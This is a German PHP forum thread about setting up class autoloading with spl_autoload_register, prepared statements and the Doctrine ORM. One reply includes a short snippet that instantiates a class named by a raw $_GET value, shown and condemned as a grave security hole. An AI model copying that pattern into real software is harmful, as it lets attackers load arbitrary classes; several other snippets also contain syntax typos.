require_once('./classes/content.class.php');
require_once('./classes/tags.class.php');
require_once('./classes/comment.class.php');
require_once('./classes/validator.class.php');
require_once('./classes/category.class.php');
require_once('./classes/statistics.class.php');

/* Create some Objects */
$smarty               = new Smarty();
$settings            = new Settings();
$currentUser                 = new Users();
$nbbc               = new BBCode();
$tags               = new Tags();
$stats               = new Stats();
//[...]
?>

Angenommen, ich möchte jetzt

PHP-Quellcode:

spl_autoload();

nutzen. Wie implementiere ich das? Irgendwie steig ich da noch nicht ganz durch... :gruebel: Muss ich die vorhandenen Klassen um eine autoload-Methode erweitern? Muss ich einfach den Autoloader in der index.php definieren? Oder beides?

[Hisoka]

Die Hilfe wirkt hier Wunder: http://de.php.net/manual/de/function.spl-autoload.php
Guck mal in den Kommentaren da sind ein paar gute Beispiele vorhanden.

[Mithrandir]

Hab ich mir schon vorher angesehen. Allerdings scheint es bei mir nicht wirklich hinzuhauen. Ich habe folgende Pfade probiert:

PHP-Quellcode:

define('CLASS_DIR', 'classes');
define('CLASS_DIR', 'classes'.DIRECTORY_DELIMITER);
define('CLASS_DIR', 'xampp\htdocs\dagi_micro\classes'.DIRECTORY_DELIMITER);

Haut nicht hin. Folgender Code kommt dabei zum Einsatz:

PHP-Quellcode:

// Add your class dir to include path
set_include_path(get_include_path().PATH_SEPARATOR.CLASS_DIR);

// You can use this trick to make autoloader look for commonly used "My.class.php" type filenames
spl_autoload_extensions('.class.php');

// Use default autoload implementation
spl_autoload_register();

Soweit ich das verstehe, muss die Datei zumindes im Include-Pfad liegen. Nur, wie bekomme ich den dahin? Ich arbeite übrigens unter Windows mit XAMPP. Das finale System nutzt einen Debian-Server. Als Fehlermeldung bekomme ich nur, dass die Klasse "Settings" nicht gefunden werden kann.

[himitsu]

Code:

function __autoload($Klassenname) {
  $Datei = suche_PhpDatei_in_welcher_die_Klasse_enthalten_ist($Klassenname);
  require($Datei);
}

// registriert sich automatisch, über seinen Funktionsnamen

oder besser doch

Code:

function MeinAutoKlassenlader($Klassenname) {
  // das kann auch eine statische Klassenmethode sein
  $Datei = suche_PhpDatei_in_welcher_die_Klasse_enthalten_ist($Klassenname);
  require($Datei);
}

spl_autoload_register('MeinAutoKlassenlader, true);

oder

Code:

function MeinAutoKlassenlader($Klassenname, $ListeDerRegistriertenDateiendungen) {
  // das kann auch eine statische Klassenmethode sein
  $Datei = suche_PhpDatei_in_welcher_die_Klasse_enthalten_ist($Klassenname, $ListeDerRegistriertenDateiendungen);
  require($Datei);
}

spl_autoload_register('MeinAutoKlassenlader, true);

jetzt einfach eine Klasse verwenden, welche noch nicht existiert
- zugehörige Datei wurde noch nicht geladen (require/include)

Code:

$Test = new IrgendeineKlasse();

nun wird also die registrierte Funktion aufgerufen, darin die benötigte Datei geladen und dann kann's weitergehn.

eigentlich recht nette sache :thumb:


hab mir nun selber einen kleinen Autolader geschrieben :angel:

oder man verwendet halt den vordefinierten Autoloader und steuert ihn über
set_include_path, spl_autoload_extensions und Co.
Dieser nimmt z.B. den Klassennamen und versucht sich daraus einen kleichnamigen Dateinamen zu basteln
(sowas geht aber nicht, wenn die Dateien nicht wie die Klasse heißen und/oder man mehrere Klassen in einer Datei liegen hat)

Klasse "statistics" in "./classes/statistics.class.php"
= suchpfad "./classes/"
= dateiendung ".class.php"

dann kann das require_once('./classes/statistics.class.php'); weg
und auch alles, welches diesem Muster entspricht

[Mithrandir]

Zitat:

Zitat von himitsu (Beitrag 1032853)

= suchpfad "./classes/"

Das war der Casus-Knaxus. Jetzt funktioniert es einwandfrei mit der default-autoload-funktion. Sehr cool. Jetzt noch PDO eingebaut, und es kann wieder weitergehen. :mrgreen:

//Edit: Kommando zurück. Irgendwie ist der Fehler mittlerweile wieder da... Ich bin doch nicht blöd, oder? :gruebel:

[himitsu]

Zitat:

Zitat von fkerber (Beitrag 1032437)

Sehe ich das richtig, dass du keine Prepared-Statements verwendest?

Gründe u.a.:
*) Besserer Schutz vor SQL-Injections

grade erst gesehn

Ja, im Code selber nutze ich sowas nicht, bzw. in einer etwas anderen Form vielleicht doch :gruebel: ... das ist aber alles in der Datenbankklasse integriert.

Einzig und alleine über die Feldnamen könnte man die "Schutzmaßnahmen", mittels bestimmter Prefixe absichtlich abschalten, aber von extern kommt man da nicht ran.


Ein Insert war z.B. so möglich.

Code:

function User_Set($Name, $Password, $Rights) {
  global $Config;
  $Config['DB']->Insert('UserTable', array(
    'Name'     => trim($Name),
    'Password' => $Password,
    'Rights'   => $Rights));
  return $Config['DB']->LastResult;
}

oder

Code:

return $Config['DB']->Insert('UserTable', array(
  'Name'     => trim($Name),
  'Password' => $Password,
  'Rights'   => $Rights));

oder auch sowas

Code:

if ($DB->Update('Irgendwas', array('feld' => 12345))) ...

hier würde der "feld ..."-Teil direkt übergeben
(hab halt keinen Query-Parser integriert)

Code:

if ($DB->Update('Irgendwas', 'feld = 12345')) ...
if ($DB->Update('Irgendwas', array('feld = 12345', 'x' => 0))) ...

man kann nur ein paar "grundlegende" Funktionen (mir reichen diese aber meistens aus) aufrufen, ihnen irgendwelche WHERE-, Feld- oder Daten-Listen mitgeben und dieses wird dann intern zusammengesetzt und z.B. über mysql_real_escape_string abgesichert/maskiert.

[Mithrandir]

Zitat:

Zitat von himitsu (Beitrag 1032907)

zusammengesetzt und z.B. über mysql_real_escape_string abgesichert/maskiert.

So hab ich das bislang auch gemacht. Allerdings haben mich die PS überzeugt. Ich denke, ich werde meinen Code entsprechend umstellen.

[alcaeus]

Guck dir mal die PDO-Referenz an. Da siehst du was mit Prepared Statements gemeint ist ;)

BTW (auch @Mithrandir): ich kann hier nur die Verwendung eines ORM (wie z.B. Doctrine) empfehlen.

Greetz
alcaeus

[Mithrandir]

Zitat:

Zitat von alcaeus (Beitrag 1032915)

ich kann hier nur die Verwendung eines ORM (wie z.B. Doctrine) empfehlen.

Nu' hab ich ja schon 'ne fertige Datenbankklasse implementiert und komme eigentlich auch gut damit klar. Was wäre denn der Vorteil, ganz grob umrissen, den ich mit Doctrine hätte? Denn immerhin bedeutet das ja auch, dass ich mich in ein neues System einarbeiten müsste. Daher tue ich mich auch noch schwer, auf symfony umzuschwenken, zumal das System nahezu komplett ist.
Auf der anderen Seite könnte ich mir aber auch vorstellen, dass symfony einiges vereinfachen könnte. Hab mir mal das Tutorial mit der Job-Website durchgelesen. Grob erinnert mich so ein PHP-Framework an die VCL in Delphi.

[alcaeus]

Der Vorteil von Doctrine? Nu ja, nehmen wir an du hast eine Tabelle "Student" mit folgenden Spalten: id, lastname, firstname, birthday, matr.
Du hast entsprechend eine Klasse "Student" mit den Properties id, lastname, firstname, birthday, matr. Jedesmal wenn du Daten aus der Datenbank holst, werden automatisch die Objekte erzeugt, so dass du direkt damit arbeiten kannst:

PHP-Quellcode:

$student = Doctrine::getTable('Student')->findOneById($studentId);
if (!$student) {
// ...
}
$student->notifyAboutExams();

Das ist jetzt ein etwas stupides Beispiel, aber der Vorteil ist ganz eindeutig: jeder Datenbankzeile wird automatisch eine Objektinstanz zugewiesen.

Zusaetzlich gibts dann noch Plugins (Behaviors), welche dir Aufgaben abnehmen, z.B. das automatische Befuellen von Create- und Update-Timestamps, Soft-Delete, I18N (so dass du z.B. eine Kategorie hast, den Titel aber in beliebig viele Sprachen hinterlegst), uvm.

Zusammen mit Symfony kommt dann hinzu, dass dir diese Model-Klassen automatisch generiert werden, genauso wie die Formulare zur Datenmanipulation. Du hast also sehr schnell dein Skeleton anhand dessen du die Applikation zusammenbaust. Ist ein sehr interessanter Ansatz ;)

Greetz
alcaeus

[Mithrandir]

Ok, das klingt wirklich nicht schlecht. Ich werde wohl erstmal bei meinem alten System bleiben, mir aber in den kommenden Monaten mal Doctrine/Symfony genauer angucken. Danke für die Erklärung. :)

[himitsu]

eigentlich 'ne recht nette Sache

Code:

function loadClass($name) {
  // zum Schutz, damit man hier kein Sicherheitsloch reinbekommt
  $name = str_replace(array('/', '\\', ':'), '_', $name);

  if ((($file = __DIR__ . "/includes/$name.inc.php") && file_exists($file)) 
       || (($file = __DIR__ . "/includes/$name.php") && file_exists($file))) 
    require_once $file;
}

spl_autoload_register('LoadClass'), true);

schon hätte man einen Miniatur-Autoloader für ein kleines Projekt

nun nur noch alle Klassen nach /includes/ , jeweils in eine Datei mit dem Namen {Klassenname}.php

und schon kann man sich alle include/require sparen.

[alcaeus]

Moin,

Zitat:

Zitat von himitsu (Beitrag 1033119)

PHP-Quellcode:

$name = str_replace(array('/', '\\', ':'), '_', $name);

mitdenken bitte. Versuch mal folgenden Code auszufuehren (jede Klasse einzeln):

PHP-Quellcode:

class Foo\Bar { }

PHP-Quellcode:

class Foo/Bar { }

PHP-Quellcode:

class Foo:Bar { }

Ersteres ist unter PHP 5.3 eine Namespace-Definition, da ist die Ersetzung echt doof (wobei ich jetzt auch keine Zeit habe zu gucken, was da dem Autoloader uebergeben wird). Alles andere wird dir der Parser wieder rueckwaerts an Kopf werfen, entsprechend kannst du die Ersetzung auch rauswerfen. Schliesslich ist da ja nichts drin was User-generated ist. Falls doch, zurueck an den Planungstisch und das Anwendungskonzept neu erstellen.

Ich empfehle uebrigens das Zend-Naming-Scheme:
<NS>_Class_Where_Parts_Represent_Folders. Vom include_path ausgehend wuerde er die Klasse in <NS>\Class\Where\Parts\Represent\Folders.php suchen. <NS> ist dabei dein "Namespace" (nicht zu verwechseln mit echten Namespaces). Der wurde eingefuehrt um Kollisionen zu vermeiden, wie z.B. zwischen dem heutigen Zend_Date (frueher nur "Date") und der PHP-Standard-Klasse Date. Bei dir koennte es z.B. FNSE_Controller_Abstract heissen.

Greetz
alcaeus

PS: mit User-generated meine ich bspw. sowas:

PHP-Quellcode:

$foo = $_GET['foo'];
$bar = new $foo();

[himitsu]

Hmmmm, an den Namespace hatte ich garnicht gedacht, also daß man den auch da mit angeben kann. :wall:

Aber ich hatte irgendwo gelesen, daß z.B. bei einem direkten Aufruf von spl_autoload_call oder eben deinem

Delphi-Quellcode:

new $foo();

, vorallem in Verbindung mit Usereingaben, da auch "Verzeichnisse" mit übergeben werden könnten.

Was "Probleme" bereiten würde, wenn man aus dem Klassennamen einen Dateinamen zusammenbastelt.

Nja, und darum wollte ich verhindern, daß hier Verzeichnissangaben im Klassennamen enthalten sind. :stupid:


[edit]
Grade ausprobiert ... gibt keine Probleme mit Namespace :angel2:

Code:

function LoadClass($Class) {
  echo $Class . '<br>';
}
spl_autoload_register('LoadClass', true);

$X = new Foo/Bar();

und bei

Delphi-Quellcode:

  $X = new Foo:Bar();

kommt es zu einem Parse-Error.

[alcaeus]

Ich fasse zusammen:

PHP-Quellcode:

class Foo\Bar {}

gibt

Zitat:

Parse error: syntax error, unexpected T_NS_SEPARATOR, expecting '{' in test.php on line 3

PHP-Quellcode:

class Foo:Bar {}

gibt

Zitat:

Parse error: syntax error, unexpected ':', expecting '{' in test.php on line 3

PHP-Quellcode:

class Foo/Bar {}

gibt

Zitat:

Parse error: syntax error, unexpected '/', expecting '{' in test.php on line 3

So, jetzt noch mit deinem Code: mit einem : gibt's nen Parse error, mit nem / wird "Foo" uebergeben, mit nem \ wird "Bar\Foo" uebergeben.
Das heisst, du solltest wirklich nichts ersetzen, denn den Namespace kannst du (wenn richtig gemacht) direkt mit nem ".php" am Ende versorgen und dann nen file_exists() machen.

Zitat:

Zitat von himitsu (Beitrag 1033250)

Aber ich hatte irgendwo gelesen, daß z.B. bei einem direkten Aufruf von spl_autoload_call oder eben deinem new $foo(); , vorallem in Verbindung mit Usereingaben, da auch "Verzeichnisse" mit übergeben werden könnten.

Also, mein Code ausm PS ist ein Beispiel das du so nie machen solltest. Das ist ein Sicherheitsleck hoch 10. Auch einen direkten Aufruf von spl_autoload_call solltest du nie brauchen, und falls doch dann solltest du da keinen User-Generated content reinstopfen. Es gibt wirklich keinen Grund, UGC in eine solche Funktion zu schieben. Ganz ehrlich: Sicherheit sollte an der ersten Stelle stehn, das ist wohl klar. Das was du aber machst ist an der falschen Ecke gespart. Ueberleg dir wie du deine Anwendung baust und was PHP als gueltig betrachtest und du wirst nicht bei jedem Autoload-Call einen dummen, langsamen String-Replace machen muessen.

Greetz
alcaeus

[himitsu]

Was mir grad so auffällt ...

Wenn RegExen doch sooooo böse sind und möglichst vermieden werden sollen,
dann darf man auch keine RewriteEngine verwenden, denn dieses Ding ist ja bis zum Rand damit vollgestopft. :stupid: